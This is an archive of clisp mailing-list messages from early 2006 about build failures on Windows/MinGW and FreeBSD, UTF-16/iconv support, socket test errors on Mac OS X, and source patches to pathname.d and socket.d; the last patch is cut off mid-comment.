--with-dynamic-modules \
--with-module=syscalls \
--with-module=wildcard \
--with-module=regexp \
--with-module=bindings/glibc \
--with-module=oracle \
--with-libsigsegv-prefix=/clisp/clisp/tools/i686-pc-mingw32 \
--build oralisp

(the libsigsegv line came from the clisp build process itself)

However I had several problems like this one:

In file included from spvw.d:24:

lispbibl.d:1981:21: win32.c: No such file or directory


I couldn't find a win32.c, but I did find a win32.d in the src
directory, but not in the oralisp directory. So I copied it into the
oralisp directory manually and tried again with the same error. Hoping
that line was a typo, I changed the #include line from win32.c to
win32.d. That particular error went away but others surfaced. I ended
up copying *w32* *win32* to the oralisp directory from the src
directory, and changing (where it seemed to matter) from a .c to .d
file on the include line.

Now, I'm getting these errors:

In file included from error.d:417:
errwin32.d:1:5: invalid preprocessing directive #Calls
errwin32.d:2:5: invalid preprocessing directive #get_OS_error_info
errwin32.d:3:5: invalid preprocessing directive #>
errwin32.d:4:5: invalid preprocessing directive #>
errwin32.d:3852:5: invalid preprocessing directive #Behandlung
errwin32.d:3853:5: invalid preprocessing directive #OS_error
errwin32.d:3854:5: invalid preprocessing directive #>
In file included from error.d:417:
errwin32.d: In function `OS_error_internal_body':
errwin32.d:3860: error: syntax error at '#' token
errwin32.d:3860: error: `bekannter' undeclared (first use in this function)
errwin32.d:3860: error: (Each undeclared identifier is reported only once
errwin32.d:3860: error: for each function it appears in.)
errwin32.d:3860: error: syntax error before "Name"
errwin32.d:3865: error: syntax error at '#' token
errwin32.d:3865: error: `Meldung' undeclared (first use in this function)
errwin32.d:3865: error: syntax error before "vorhanden"
errwin32.d:3872:9: invalid preprocessing directive #Meldungbeginn
errwin32.d:3874:9: invalid preprocessing directive #Fehlernummer
errwin32.d:3876:9: invalid preprocessing directive #nach
errwin32.d: In function `OS_error':
errwin32.d:3882: error: syntax error at '#' token
errwin32.d:3882: error: `just' undeclared (first use in this function)
errwin32.d:3882: error: syntax error before "in"
errwin32.d:3886: error: syntax error at '#' token
errwin32.d:3886: error: `keine' undeclared (first use in this function)
errwin32.d:3886: error: syntax error before "Win32"
errwin32.d:3887: error: syntax error at '#' token
errwin32.d:3887: error: `Fehlermeldung' undeclared (first use in this function)
errwin32.d:3888: error: syntax error at '#' token
errwin32.d:3891: error: syntax error at '#' token
errwin32.d:3891: error: syntax error before "beenden"
errwin32.d: In function `OS_file_error':
errwin32.d:3900: error: syntax error at '#' token
errwin32.d:3900: error: `keine' undeclared (first use in this function)
errwin32.d:3900: error: syntax error before "Win32"
errwin32.d:3901: error: syntax error at '#' token
errwin32.d:3901: error: `Wert' undeclared (first use in this function)
errwin32.d:3901: error: stray '\195' in program
errwin32.d:3901: error: stray '\188' in program
errwin32.d:3902: error: syntax error at '#' token
errwin32.d:3902: error: `Fehlermeldung' undeclared (first use in this function)
errwin32.d:3903: error: syntax error at '#' token
errwin32.d:3906: error: syntax error at '#' token
errwin32.d:3906: error: syntax error before "beenden"
errwin32.d:3910:5: invalid preprocessing directive #Behandlung
errwin32.d:3911:5: invalid preprocessing directive #SOCK_error
errwin32.d:3912:5: invalid preprocessing directive #>
errwin32.d: In function `SOCK_error':
errwin32.d:3917: error: syntax error at '#' token
errwin32.d:3917: error: `keine' undeclared (first use in this function)
errwin32.d:3917: error: syntax error before "Win32"
errwin32.d:3918: error: syntax error at '#' token
errwin32.d:3918: error: `Fehlermeldung' undeclared (first use in this function)
errwin32.d:3919: error: syntax error at '#' token
errwin32.d:3921:9: invalid preprocessing directive #Meldungbeginn
errwin32.d:3923:9: invalid preprocessing directive #Fehlernummer
errwin32.d:3925:9: invalid preprocessing directive #nach
errwin32.d:4120: error: syntax error at '#' token
errwin32.d:4120: error: `bekannter' undeclared (first use in this function)
errwin32.d:4120: error: syntax error before "Name"
errwin32.d:4125: error: syntax error at '#' token
errwin32.d:4125: error: `Meldung' undeclared (first use in this function)
errwin32.d:4125: error: syntax error before "vorhanden"
errwin32.d:4129: error: syntax error at '#' token
errwin32.d:4129: error: syntax error before "beenden"
make: *** [error.o] Error 1


What can I do to overcome these errors?

Thanks,

Jeff



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> * Jeff Bowman <jbyswo@ovtsbbg.pbz> [2006-01-12 15:38:57 +0000]:
>
> Sam Steingold <sds <at> gnu.org> writes:
>
>> 
>> > * Jeff Bowman <jbyswo <at> ovtsbbg.pbz> [2005-12-27 23:15:48 -0600]:
>> >
>> > I have run apt-get install libpq-dev which installs header files into
>> > /usr/include/postgresql. However, it seems that directory is not being
>> > included in the search for headers. I have also tried setting the
>> > INCLUDES environment variable to /usr/include/postgresql to no avail.
>> 
>> I think that postgresql is normally installed as follows:
>> 
>> /usr/include/postgres_ext.h
>> /usr/include/libpq-fe.h
>> /usr/include/pg*.h
>> /usr/include/postgresql/*
>> /usr/include/libpq/*
>> 
>> where is your postgres_ext.h?
>> 
>
> Second, my email address seems to be garbled
>> > * Jeff Bowman <jbyswo <at> ovtsbbg.pbz> [2005-12-27 23:15:48 -0600]:
> should be: Jeff Bowman <wolfjb <at> bigfoot.com>, I usually digitally
> sign my emails, so I wonder if that contributed to this issue.

your address is "encrypted" with rot13 to confuse spam harvesters.
(this is required on cygwin mailing lists so I just do it always).
CC goes to the correct address.

> On to the point, on my debian unstable computer, libpq-dev installs
> all of the postgres include files in /usr/include/postgresql. My
> postgres_ext.h is in that directory.

please try the appended patch and tell us if it works..

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Index: pathname.d
===================================================================
RCS file: /cvsroot/clisp/clisp/src/pathname.d,v
retrieving revision 1.385
retrieving revision 1.386
diff -u -w -u -b -w -i -B -r1.385 -r1.386
--- pathname.d	14 Oct 2005 17:16:48 -0000	1.385
+++ pathname.d	13 Dec 2005 19:37:46 -0000	1.386
@@ -6289,14 +6289,13 @@
  > truncate_if_exists: if true, the file is truncated to zero size
  > STACK_0: pathname
  < result: open file handle */
-local inline Handle open_output_file (char* pathstring,
+local inline Handle open_output_file (char* pathstring, bool wronly,
                                       bool truncate_if_exists) {
  #ifdef UNIX
   begin_system_call();
   var int result =
-    OPEN(pathstring,
-         (truncate_if_exists ? O_RDWR | O_BINARY | O_CREAT | O_TRUNC
-          : O_RDWR | O_BINARY | O_CREAT),
+    OPEN(pathstring,((wronly ? O_WRONLY : O_RDWR) | O_BINARY | O_CREAT
+                     | (truncate_if_exists ? O_TRUNC : 0)),
          my_open_mask);
   end_system_call();
   if (result<0) { OS_file_error(STACK_0); } /* report error */
@@ -6304,8 +6303,11 @@
  #endif
  #ifdef WIN32_NATIVE
   begin_system_call();
-  var Handle handle = CreateFile(pathstring, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,
-                                 NULL, (truncate_if_exists ? CREATE_ALWAYS : OPEN_ALWAYS), FILE_ATTRIBUTE_NORMAL, NULL);
+  var Handle handle =
+    CreateFile(pathstring, (wronly ? 0 : GENERIC_READ) | GENERIC_WRITE,
+               FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
+               (truncate_if_exists ? CREATE_ALWAYS : OPEN_ALWAYS),
+               FILE_ATTRIBUTE_NORMAL, NULL);
   end_system_call();
   if (handle==INVALID_HANDLE_VALUE) { OS_file_error(STACK_0); }
   return handle;
@@ -6478,6 +6480,7 @@
    check filename and get the handle: */
   var object handle;
  {var bool append_flag = false;
+  var bool wronly_flag = false;
  {switch (direction) {
     case DIRECTION_PROBE:
       if (!file_exists(namestring)) { /* file does not exist */
@@ -6512,7 +6515,8 @@
       handle = allocate_handle(handl);
     }
       break;
-    default: /* DIRECTION is :OUTPUT or :IO */
+    case DIRECTION_OUTPUT: wronly_flag = true; /*FALLTHROUGH*/
+    case DIRECTION_IO:
       /* default for if_not_exists depends on if_exists: */
       if (if_not_exists==IF_DOES_NOT_EXIST_UNBOUND) {
         if (if_exists!=IF_EXISTS_APPEND && if_exists!=IF_EXISTS_OVERWRITE)
@@ -6559,13 +6563,14 @@
          othersise (with :APPEND, :OVERWRITE) preserve contents.
          if-not-exists: create new file. */
         var Handle handl =
-          open_output_file(namestring_asciz,/* if_exists<IF_EXISTS_APPEND */
+          open_output_file(namestring_asciz,wronly_flag,
                            (if_exists!=IF_EXISTS_APPEND
                             && if_exists!=IF_EXISTS_OVERWRITE));
         handle = allocate_handle(handl);
       });
       #endif
       break;
+    default: NOTREACHED;
       /* STACK_0 = Truename, FILE-ERROR slot PATHNAME */
   fehler_notfound: /* error: file not found */
       fehler_file_not_exists();


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Hello,
 The clisp implnotes says that UTF-16, is only available on platforms with GNU
libc or GNU libiconv. 

I am using the 2.37 release on Windows, and utf-16 is not present. So, do I
have to compile clisp on windows with libc/libiconv to get utf-16, or is it
something which should be present in the windows release?


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> * Dimitrios Kapanikis <qvzvgevbf.xncnavxvf@tznvy.pbz> [2006-01-10 14:54:47 +0100]:
>
> kivcparser.o:kivcparser.c:(.text+0x95): undefined reference to `_convert_to_
> foreign_nomalloc'
> kivcparser.o:kivcparser.c:(.text+0x14b): undefined reference to `_convert_to_for
> eign_nomalloc'
> kivcparser.o:kivcparser.c:(.text+0x1fb): undefined reference to `_convert_to_for
> eign_nomalloc'
> kivcparser.o:kivcparser.c:(.text+0x2ab): undefined reference to `_convert_to_for
> eign_nomalloc'
> kivcparser.o:kivcparser.c:(.text+0x375): undefined reference to `_convert_to_for
> eign_nomalloc'
> kivcparser.o:kivcparser.c:(.text+0x444): more undefined references to `_convert_
> to_foreign_nomalloc' follow

so, where do you define convert_to_foreign_nomalloc?
I don't see it in clisp/src/foreign.d.
you need to use convert_to_foreign(,,&nomalloc)
with

void* nomalloc (void* old_data, uintL size, uintL alignment) { return old_data; }


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> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2006-01-12 13:49:47 -0500]:
>
> The clisp implnotes says that UTF-16, is only available on platforms
> with GNU libc or GNU libiconv.
yes.

> I am using the 2.37 release on Windows, and utf-16 is not present.
as documented above.

> So, do I have to compile clisp on windows with libc/libiconv to get
> utf-16,

yes.  use mingw or download the Yaroslav's version
(..-with-readline-and-gettext...).

> or is it something which should be present in the windows release?

no - but http://www.cygwin.com/acronyms/#PTC

http://clisp.cons.org/impnotes/encoding.html#iconv
        If your system supplies an iconv implementation which passes the
        GNU libiconv's test suite, please report that to
        <clisp-list@lists.sourceforge.net>
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Sam Steingold <sds@gnu.org> writes:

>> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2006-01-12 13:49:47 -0500]:
>>
>> I am using the 2.37 release on Windows, and utf-16 is not present.
> as documented above.
>
>> So, do I have to compile clisp on windows with libc/libiconv to get
>> utf-16,
>
> yes.  use mingw or download the Yaroslav's version
> (..-with-readline-and-gettext...).
>
Thanks. I am indeed using that.

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Hi, Sam!

I finally got around to trying to build clisp on FreeBSD/amd64 using
your patch.

There are following problems:

	1) A confusion exists with the checksums of the
		clisp-2.37.tar.bz2
	Have you, guys, re-released a different file under the same
	name? The release checksum-ed by maintainer is 8050684 bytes,
	but what is available on the download sites is 8052113.

	Or has someone hacked you and planted a trojan?

	2) Even if I try to build it (thanks to the bsd.diff you left
	in ~sds/ on my aldan.algebra.com), configure fails with the
	following:

[...]
configure: configuring in vacall_r
configure: running /bin/sh '../../../ffcall/callback/vacall_r/configure' 
--prefix=/opt  '--srcdir=../../ffcall/callback' '--prefix=/opt' 
'--cache-file=../config.cache' 'CFLAGS=-O2 -fno-strict-aliasing -pipe 
-march=opteron -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP 
-DNO_TRIVIALMAP' 'CXX=c++' 'CC=cc' 'CXXFLAGS=-O2 -fno-strict-aliasing -pipe 
-march=opteron -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP 
-DNO_TRIVIALMAP' --cache-file=../../config.cache 
--srcdir=../../../ffcall/callback/vacall_r
configure: loading cache ../../config.cache
configure: error: `CFLAGS' has changed since the previous run:
configure:   former value:  -O2 -fno-strict-aliasing -pipe -march=opteron 
-DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP  -DNO_TRIVIALMAP
configure:   current value: -O2 -fno-strict-aliasing -pipe -march=opteron 
-DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP -DNO_TRIVIALMAP
configure: error: changes in the environment can compromise the build
configure: error: run `make distclean' and/or `rm ../../config.cache'
and start over
configure: error: /bin/sh '../../../ffcall/callback/vacall_r/configure'
failed for vacall_r

Note the "former value" having an extra space before the `-DNO_TRIVIALMAP'.

Now to the insides of the patch. You define oint_addr_relevant_len as 32
-- should not it be something like ``sizeof(void*)*8''?

I remember you mentioning some performance penalties due to this
platform (FreeBSD/amd64) being "unusual". Which features are missing
and how do I re-enable them? Thanks a lot!

	-mi



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Surendra Singhi wrote:

>>>I am using the 2.37 release on Windows, and utf-16 is not present.
>>
>>as documented above.
>>
>>
>>>So, do I have to compile clisp on windows with libc/libiconv to get
>>>utf-16,
>>
>>yes.  use mingw or download the Yaroslav's version
>>(..-with-readline-and-gettext...).
>>
> 
> Thanks. I am indeed using that.
> 

This is wrong.

clisp under mingw does not use libiconv.dll!
Some time ago Bruno has disabled use of external libiconv under mingw
(see Changelog).

libiconv.dll is used by the libintl.dll only

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Jeff Bowman wrote:
> I need to build a version of clisp with oracle support on windows. I
> downloaded and install MinGW, msys and msysDTK (all at current levels
> rather than candidate or previous as much as possible).
>
> I tried to build clisp from cvs with this command line from the oracle
> section of the impnotes:
>
> ./configure --without-readline \
> --with-dynamic-ffi \
> --with-dynamic-modules \
> --with-module=syscalls \
> --with-module=wildcard \
> --with-module=regexp \
> --with-module=bindings/glibc \
> --with-module=oracle \
> --with-libsigsegv-prefix=/clisp/clisp/tools/i686-pc-mingw32 \
> --build oralisp

You have lost --with-mingw

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Hi Mikhail,

> * Mikhail Teterin <zv+xqr@nyqna.nytroen.pbz> [2006-01-13 01:54:36 -0500]:
>
> There are following problems:
>
> 	1) A confusion exists with the checksums of the
> 		clisp-2.37.tar.bz2
> 	Have you, guys, re-released a different file under the same
> 	name? The release checksum-ed by maintainer is 8050684 bytes,
> 	but what is available on the download sites is 8052113.
>
> 	Or has someone hacked you and planted a trojan?

I had to modify the source distribution because a configure file somehow
kept the previous version number.

> 	2) Even if I try to build it (thanks to the bsd.diff you left
> 	in ~sds/ on my aldan.algebra.com), configure fails with the
> 	following:
>
> [...]
> configure: configuring in vacall_r
> configure: running /bin/sh '../../../ffcall/callback/vacall_r/configure' 
> --prefix=/opt  '--srcdir=../../ffcall/callback' '--prefix=/opt' 
> '--cache-file=../config.cache' 'CFLAGS=-O2 -fno-strict-aliasing -pipe 
> -march=opteron -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP 
> -DNO_TRIVIALMAP' 'CXX=c++' 'CC=cc' 'CXXFLAGS=-O2 -fno-strict-aliasing -pipe 
> -march=opteron -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP 
> -DNO_TRIVIALMAP' --cache-file=../../config.cache 
> --srcdir=../../../ffcall/callback/vacall_r
> configure: loading cache ../../config.cache
> configure: error: `CFLAGS' has changed since the previous run:
> configure:   former value:  -O2 -fno-strict-aliasing -pipe -march=opteron 
> -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP  -DNO_TRIVIALMAP
> configure:   current value: -O2 -fno-strict-aliasing -pipe -march=opteron 
> -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP -DNO_TRIVIALMAP
> configure: error: changes in the environment can compromise the build
> configure: error: run `make distclean' and/or `rm ../../config.cache'
> and start over
> configure: error: /bin/sh '../../../ffcall/callback/vacall_r/configure'
> failed for vacall_r

rm -rf build-dir
./configure ... build-dir

> Now to the insides of the patch. You define oint_addr_relevant_len as
> 32 -- should not it be something like ``sizeof(void*)*8''?

no.

> I remember you mentioning some performance penalties due to this
> platform (FreeBSD/amd64) being "unusual". Which features are missing
> and how do I re-enable them? Thanks a lot!

-DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP -DNO_TRIVIALMAP

see the porting notes in clisp/unix/PLATFORMS for details

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I get the following after doing make check.  Sockets are not an issue 
with my own programs, but I suppose this should be fixed.

=======================

RUN-TEST: finished "excepsit" (0 errors out of 372 tests)
finished  48 files:              30 errors out of  10,359 tests
   1                   alltest:    0 errors out of    631 tests
   2                     array:    0 errors out of    290 tests
   3                  backquot:    0 errors out of     88 tests
   4                    bin-io:    0 errors out of     15 tests
   5                characters:    0 errors out of    221 tests
   6                      clos:    0 errors out of    482 tests
   7                   defhash:    0 errors out of      6 tests
   8                  encoding:    0 errors out of     31 tests
   9                    eval20:    0 errors out of     21 tests
  10                    floeps:    0 errors out of     20 tests
  11                    format:    0 errors out of    259 tests
  12                 genstream:    0 errors out of     14 tests
  13                  hashlong:    0 errors out of     10 tests
  14                 hashtable:    0 errors out of      7 tests
  15                    iofkts:    0 errors out of    218 tests
  16                    lambda:    0 errors out of     89 tests
  17                  lists151:    0 errors out of    201 tests
  18                  lists152:    0 errors out of    255 tests
  19                  lists153:    0 errors out of      1 test
  20                  lists154:    0 errors out of     46 tests
  21                  lists155:    0 errors out of     25 tests
  22                  lists156:    0 errors out of     20 tests
  23                      loop:    0 errors out of    130 tests
  24                    macro8:    0 errors out of    193 tests
  25                       map:    0 errors out of     64 tests
  26                       mop:    0 errors out of    217 tests
  27                    number:    0 errors out of  3,655 tests
  28                   number2:    0 errors out of    252 tests
  29                    pack11:    0 errors out of    202 tests
  30                      path:    0 errors out of    134 tests
  31                      setf:    0 errors out of    167 tests
  32                    socket:   30 errors out of     58 tests
  33                   steele7:    0 errors out of     85 tests
  34                   streams:    0 errors out of    361 tests
  35               streamslong:    0 errors out of     14 tests
  36                   strings:    0 errors out of    407 tests
  37                  symbol10:    0 errors out of    147 tests
  38                   symbols:    0 errors out of      5 tests
  39                      time:    0 errors out of     21 tests
  40                      type:    0 errors out of    272 tests
  41                      weak:    0 errors out of    120 tests
  42                  weakhash:    0 errors out of     25 tests
  43                 weakhash2:    0 errors out of     46 tests
  44                      bind:    0 errors out of     67 tests
  45                   weakptr:    0 errors out of    240 tests
  46                conditions:    0 errors out of     89 tests
  47                  restarts:    0 errors out of     66 tests
  48                  excepsit:    0 errors out of    372 tests
Real time: 739.23865 sec.
Run time: 697.12 sec.
Space: 736984772 Bytes
GC: 999, GC time: 177.26 sec.
30
Bye.
(echo *.erg | grep '*' >/dev/null) || (echo "Test failed:" ; ls -l 
*erg; echo "To see which tests failed, type" ; echo "    cat 
"`pwd`"/*.erg" ; exit 1)
Test failed:
-rw-r--r--  1 dan  dan  6243  5 Jan 23:59 socket.erg
To see which tests failed, type
     cat /Users/dan/downloads/clisp-2.37/src/tests/*.erg
make[1]: *** [compare] Error 1
make: *** [check-tests] Error 2
~/downloads/clisp-2.37/src:     cat 
/Users/dan/downloads/clisp-2.37/src/tests/*.erg
Form: (DEFPARAMETER *SERVER* (SOCKET-SERVER))
CORRECT: *SERVER*
CLISP  : ERROR
UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address

OUT:
"[SIMPLE-OS-ERROR]: UNIX error 49 (EADDRNOTAVAIL): Cannot assign 
requested address

"


Form: (MULTIPLE-VALUE-LIST (SOCKET-STATUS *SERVER* 0))
CORRECT: (NIL 0)
CLISP  : ERROR
EVAL: variable *SERVER* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value

"


Form: (DEFPARAMETER *SOCKET-1* (SOCKET-CONNECT (SOCKET-SERVER-PORT 
*SERVER*) "localhost" :TIMEOUT 0))
CORRECT: *SOCKET-1*
CLISP  : ERROR
EVAL: variable *SERVER* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value

"


Form: (DEFPARAMETER *STATUS-ARG* (LIST (LIST *SERVER*) (LIST *SOCKET-1* 
:IO)))
CORRECT: *STATUS-ARG*
CLISP  : ERROR
EVAL: variable *SERVER* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value

"


Form: (EQ (SOCKET-STATUS *STATUS-ARG* 0) *STATUS-ARG*)
CORRECT: T
CLISP  : ERROR
EVAL: variable *STATUS-ARG* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *STATUS-ARG* has no value

"


Form: (CDR (ASSOC *SERVER* *STATUS-ARG*))
CORRECT: T
CLISP  : ERROR
EVAL: variable *SERVER* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value

"


Form: (CDDR (ASSOC *SOCKET-1* *STATUS-ARG*))
CORRECT: :OUTPUT
CLISP  : ERROR
EVAL: variable *SOCKET-1* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value

"


Form: (DEFPARAMETER *SOCKET-2* (SOCKET-ACCEPT *SERVER*))
CORRECT: *SOCKET-2*
CLISP  : ERROR
EVAL: variable *SERVER* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value

"


Form: (PROGN (PUSH (LIST *SOCKET-2* :IO) *STATUS-ARG*) (EQ *STATUS-ARG* 
(SOCKET-STATUS *STATUS-ARG* 0)))
CORRECT: T
CLISP  : ERROR
EVAL: variable *SOCKET-2* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value

"


Form: (CDR (ASSOC *SERVER* *STATUS-ARG*))
CORRECT: NIL
CLISP  : ERROR
EVAL: variable *SERVER* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value

"


Form: (CDDR (ASSOC *SOCKET-1* *STATUS-ARG*))
CORRECT: :OUTPUT
CLISP  : ERROR
EVAL: variable *SOCKET-1* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value

"


Form: (CDDR (ASSOC *SOCKET-2* *STATUS-ARG*))
CORRECT: :OUTPUT
CLISP  : ERROR
EVAL: variable *SOCKET-2* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value

"


Form: (WRITE-LINE "foo" *SOCKET-1*)
CORRECT: "foo"
CLISP  : ERROR
EVAL: variable *SOCKET-1* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value

"


Form: (FINISH-OUTPUT *SOCKET-1*)
CORRECT: NIL
CLISP  : ERROR
EVAL: variable *SOCKET-1* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value

"


Form: (EQ (SOCKET-STATUS *STATUS-ARG* 0) *STATUS-ARG*)
CORRECT: T
CLISP  : ERROR
EVAL: variable *STATUS-ARG* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *STATUS-ARG* has no value

"


Form: (CDR (ASSOC *SERVER* *STATUS-ARG*))
CORRECT: NIL
CLISP  : ERROR
EVAL: variable *SERVER* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value

"


Form: (CDDR (ASSOC *SOCKET-1* *STATUS-ARG*))
CORRECT: :OUTPUT
CLISP  : ERROR
EVAL: variable *SOCKET-1* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value

"


Form: (CDDR (ASSOC *SOCKET-2* *STATUS-ARG*))
CORRECT: :IO
CLISP  : ERROR
EVAL: variable *SOCKET-2* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value

"


Form: (MULTIPLE-VALUE-LIST (READ-LINE *SOCKET-2*))
CORRECT: ("foo" NIL)
CLISP  : ERROR
EVAL: variable *SOCKET-2* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value

"


Form: (CLOSE *SOCKET-1*)
CORRECT: T
CLISP  : ERROR
EVAL: variable *SOCKET-1* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value

"


Form: (CLOSE *SOCKET-2*)
CORRECT: T
CLISP  : ERROR
EVAL: variable *SOCKET-2* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value

"


Form: (SOCKET-SERVER-CLOSE *SERVER*)
CORRECT: NIL
CLISP  : ERROR
EVAL: variable *SERVER* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value

"


Form: (PROGN (SETQ *SERVER* (SOCKET-SERVER 9090) *SOCKET-1* 
(SOCKET-CONNECT 9090 "localhost" :TIMEOUT 0 :BUFFERED NIL) *SOCKET-2* 
(SOCKET-ACCEPT *SERVER* :BUFFERED NIL)) (WRITE-CHAR #\a *SOCKET-1*))
CORRECT: #\a
CLISP  : ERROR
UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address

OUT:
"[SIMPLE-OS-ERROR]: UNIX error 49 (EADDRNOTAVAIL): Cannot assign 
requested address

"


Form: (LISTP (SHOW (LIST (MULTIPLE-VALUE-LIST (SOCKET-STREAM-LOCAL 
*SOCKET-1*)) (MULTIPLE-VALUE-LIST (SOCKET-STREAM-PEER *SOCKET-1*)) 
(MULTIPLE-VALUE-LIST (SOCKET-STREAM-LOCAL *SOCKET-2*)) 
(MULTIPLE-VALUE-LIST (SOCKET-STREAM-PEER *SOCKET-2*))) :PRETTY T))
CORRECT: T
CLISP  : ERROR
EVAL: variable *SOCKET-1* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value

"


Form: (SOCKET-STATUS (CONS *SOCKET-2* :INPUT) 0)
CORRECT: :INPUT
CLISP  : ERROR
EVAL: variable *SOCKET-2* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value

"


Form: (READ-CHAR *SOCKET-2*)
CORRECT: #\a
CLISP  : ERROR
EVAL: variable *SOCKET-2* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value

"


Form: (SOCKET-STATUS (CONS *SOCKET-2* :INPUT) 0)
CORRECT: NIL
CLISP  : ERROR
EVAL: variable *SOCKET-2* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value

"


Form: (CLOSE *SOCKET-1*)
CORRECT: T
CLISP  : ERROR
EVAL: variable *SOCKET-1* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value

"


Form: (SOCKET-STATUS (CONS *SOCKET-2* :INPUT) 0)
CORRECT: :EOF
CLISP  : ERROR
EVAL: variable *SOCKET-2* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value

"


Form: (CLOSE *SOCKET-2*)
CORRECT: T
CLISP  : ERROR
EVAL: variable *SOCKET-2* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value

"


~/downloads/clisp-2.37/src: 



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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2006-01-13 13:20:26 +0200]:
>
> Surendra Singhi wrote:
>
>>>>I am using the 2.37 release on Windows, and utf-16 is not present.
>>>
>>>as documented above.
>>>
>>>
>>>>So, do I have to compile clisp on windows with libc/libiconv to get
>>>>utf-16,
>>>
>>>yes.  use mingw or download the Yaroslav's version
>>>(..-with-readline-and-gettext...).
>>>
>> 
>> Thanks. I am indeed using that.
>> 
>
> This is wrong.
>
> clisp under mingw does not use libiconv.dll!
> Some time ago Bruno has disabled use of external libiconv under mingw
> (see Changelog).
>
> libiconv.dll is used by the libintl.dll only


2005-05-28  Bruno Haible  <bruno@clisp.org>

	Make it possible to use iconv() on platforms other than Unix. Fixes
	2005-03-01 patch.
	* lispbibl.d (ANSIC_error): New declaration.
	* errunix.d [!UNIX]: Define only OS_error.
	* error.d [!UNIX]: Include errunix.c, to define ANSIC_error.
	* stream.d (open_iconv, check_charset, iconv_mblen, iconv_mbstowcs)
	(iconv_wcslen, iconv_wcstombs, iconv_range, ChannelStream_fini):
	Undo 2005-03-01 patch. Call ANSIC_error instead of OS_error.
	* makemake.in (ERROR_INCLUDES): Add errunix unconditionally.

	* win32.d: Undefine HAVE_ICONV, in case it's set by unixconf.h (on
	mingw).


I think that if the mingw configure process discovers a working iconv,
it will be used.


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> * Dan Starr <qifgnee@rneguyvax.arg> [2006-01-13 10:25:43 -0500]:
>
> UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address

it would help if you could add -DDEBUG_OS_ERROR to CFLAGS, recompile
lisp.run (no need to re-dump lispinit.mem) and run
./lisp.run -M lispinit.mem -i tests/tests -x '(run-test "tests/socket")'
and send the output here.  thanks.

see also http://sourceforge.net/tracker/index.php?func=detail&aid=1399376&group_id=1355&atid=101355

please also try the appended patch.
thanks.

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--- socket.d	08 Jan 2006 11:31:15 -0500	1.103
+++ socket.d	12 Jan 2006 17:04:32 -0500	
@@ -2,7 +2,7 @@
  * Setting up a connection to an X server, and other socket functions
  * Bruno Haible 19.6.1994, 27.6.1997, 9.3.1999 ... 2003
  * Marcus Daniels 28.9.1995, 9.9.1997
- * Sam Steingold 1998-2005
+ * Sam Steingold 1998-2006
  * German comments translated into English: Stefan Kain 2002-09-11
  */
 
@@ -122,6 +122,14 @@
   #define in6_addr in_addr6
 #endif
 
+/* Older BSDs (and Mac OS X 10.4.3) require that sockaddr is filled with
+   0 before use (i.e., unused fields must be 0) and this requirement is
+   codified in the 1st ed of Stevens UNIX Network Programming.
